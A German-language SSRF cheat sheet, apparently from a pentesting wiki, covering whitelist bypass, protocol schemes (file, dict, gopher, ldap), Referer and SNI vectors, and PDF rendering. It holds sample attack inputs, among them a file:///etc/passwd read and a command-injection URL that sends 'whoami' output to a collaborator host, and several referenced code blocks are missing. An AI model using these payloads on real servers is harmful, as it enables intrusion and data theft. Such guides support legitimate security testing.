SSRF (Server Side Request Forgery)
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Heute Zugriff erhalten:
Grundlegende Informationen
Eine Serverseitige Anfragefälschung (SSRF) tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine Domain ihrer Wahl zu senden. Diese Schwachstelle macht den Server für beliebige externe Anfragen angreifbar, die vom Angreifer gesteuert werden.
Erfassen von SSRF
Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Zur Erfassung einer HTTP- oder DNS-Interaktion können Sie Tools wie folgt verwenden:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Ein Burp Collaborator, der ngrok verwendet
Umgehung von whitelisteten Domains
Normalerweise werden Sie feststellen, dass SSRF nur in bestimmten whitelisteten Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um zu versuchen, diese Whitelist zu umgehen:
pageURL Format BypassUmgehung über offene Weiterleitung
Wenn der Server ordnungsgemäß geschützt ist, könnten Sie alle Beschränkungen umgehen, indem Sie eine offene Weiterleitung innerhalb der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulassen wird und wahrscheinlich Weiterleitungen folgen wird, können Sie die offene Weiterleitung ausnutzen, um den Server dazu zu bringen, auf interne Ressourcen zuzugreifen. Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf
Protokolle
file://
Das URL-Schema
file://
verweist direkt auf/etc/passwd
:file:///etc/passwd
dict://
Das DICT-URL-Schema wird beschrieben, um über das DICT-Protokoll auf Definitionen oder Wortlisten zuzugreifen. Ein gegebenes Beispiel zeigt eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie eine mögliche Fehlverwendung eines PHP-Skripts, um sich mit einem DICT-Server unter Verwendung von vom Angreifer bereitgestellten Anmeldeinformationen zu verbinden:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identifiziert als Protokoll für sicheren Dateitransfer über Secure Shell, wird ein Beispiel gezeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden:
url=sftp://generic.com:11111/
TFTP://
Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das entworfen wurde, um eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Es wird eine Methode beschrieben, wie SSRF-Schwachstellen ausgenutzt werden können, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritten zur Offenlegung interner Domänennamen und weiteren Untersuchungsmaßnahmen basierend auf diesen Informationen.
Curl URL globbing - WAF bypass
Wenn das SSRF von curl ausgeführt wird, verfügt curl über eine Funktion namens URL-Globbing, die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel in diesem Writeup findest du dieses Beispiel für einen Pfadtraversierung über das
file
-Protokoll:
Gopher://
Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zum Erstellen von Payloads. Zwei verschiedene Verwendungen werden veranschaulicht:
Gopher://
Mit diesem Protokoll können Sie die IP, den Port und die Bytes angeben, die Sie möchten, dass der Server sendet. Dann können Sie im Grunde genommen eine SSRF ausnutzen, um mit einem beliebigen TCP-Server zu kommunizieren (aber Sie müssen zuerst wissen, wie Sie mit dem Dienst sprechen). Glücklicherweise können Sie Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um gopher-Payloads für Java RMI-Dienste zu erstellen.
Gopher smtp
Gopher HTTP
Gopher SMTP — Rückverbindung zu 1337
Gopher MongoDB -- Erstellen Sie einen Benutzer mit Benutzername=admin mit Passwort=admin123 und Berechtigung=Administrator
SSRF über den Referrer-Header & Andere
Analyse-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt für Server-seitige Anfragefälschung (SSRF) anfällig macht. Dies liegt daran, dass solche Software externe URLs besuchen kann, die im Referrer-Header erwähnt sind, um den Inhalt der verweisenden Website zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
SSRF über SNI-Daten aus dem Zertifikat
Eine Fehlkonfiguration, die die Verbindung zu jedem Backend über ein einfaches Setup ermöglichen könnte, wird anhand einer Beispiel-Nginx-Konfiguration veranschaulicht:
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI)-Feld direkt als Adresse des Back-Ends verwendet. Diese Einrichtung macht eine Schwachstelle für Server-seitige Anfragenfälschung (SSRF) zugänglich, die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für die Ausnutzung, um eine Verbindung zu einem beliebigen Backend wie internal.host.com
zu erzwingen, unter Verwendung des openssl
-Befehls, wird unten gegeben:
SSRF mit Befehlseinschleusung
Es könnte sich lohnen, eine Nutzlast wie diese auszuprobieren: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs Rendering
Wenn die Webseite automatisch ein PDF mit den von Ihnen bereitgestellten Informationen erstellt, können Sie etwas JS einfügen, das vom PDF-Ersteller selbst (dem Server) ausgeführt wird, während das PDF erstellt wird, und Sie können einen SSRF missbrauchen. Hier finden Sie weitere Informationen.
Von SSRF zu DoS
Erstellen Sie mehrere Sitzungen und versuchen Sie, schwere Dateien herunterzuladen, indem Sie den SSRF aus den Sitzungen ausnutzen.
SSRF PHP-Funktionen
pagePHP SSRFSSRF-Umleitung zu Gopher
Für einige Ausbeutungen müssen Sie möglicherweise eine Umleitungsantwort senden (eventuell um ein anderes Protokoll wie Gopher zu verwenden). Hier finden Sie verschiedene Python-Codes, um mit einer Umleitung zu antworten:
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Heute Zugriff erhalten:
Falsch konfigurierte Proxies für SSRF
Tricks aus diesem Beitrag.
Flask
Last updated